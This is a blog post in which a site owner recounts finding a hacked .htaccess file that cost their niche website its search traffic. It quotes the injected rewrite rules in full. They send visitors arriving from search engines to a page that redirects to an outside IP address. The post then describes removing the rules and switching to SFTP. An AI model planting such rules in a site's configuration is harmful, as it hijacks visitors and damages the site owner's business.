Nasty Website Hack Which Will Stop Search Engine Traffic to Your Website!

A while back I was trying to figure out why search engine traffic dried up to one of my more profitable niche websites and couldn’t find out why.

In the end I decided to rebuild the site on my PC using Wamp, and wanted to make a few .htaccess changes while I was at it. On opening the .htaccess file I found this:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google.|msn.|live|yahoo.|altavista.|aol.|ask.| eureka.com|lycos.com|hotbot.com|infoseek.com|webcr awler.|excite.|netscape.com|mamma.com|alltheweb.co m|northernlight.com|rambler.ru|aport.ru|yandex.ru| pingwin.ru|http://www.ru|punto.ru|search.comcas…oksmart.com).* [NC]
RewriteRule ^(.*) /501.html [NS,NC,L]

RewriteCond %{HTTP_USER_AGENT} ^.*(bot|urp|msn).* [NC]
RewriteRule ^(.*) $1 [NS,NC,L]
Redirect /501.html http://66.249.28.51

Looks like my website had been hacked at the server level… The hacked .htaccess file was sending search engine bots to the IP address in the .htaccess file. Ultimately the search engines dropped the website and search engine traffic dried up completely.

What makes this hack so anoying is I’ve moved the site a few times because I thought it had something to do with the hosting. It never dawned on me to check the .htaccess file, and I do know better – it’s one of the reasons I don’t like using .htaccess affiliate redirects, when the file gets hacked so do all the redirects.

Kaviraj “Kavi” Kodia of eHosting4U suggested that the problem could have been a security issue with a script installed on the website or a leak with the FTP software I was using, and suggested using FTP software which supports SFTP.

So now I use FileZilla with SFTP – SFTP doesn’t seem to have made much difference to the data transfer rate so it’s well worth using for the added security.

By the way, once the the offending .htaccess code had been deleted, my website started receiving traffic from Google within 24 hours – phew!

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Filed under Increase Website Traffic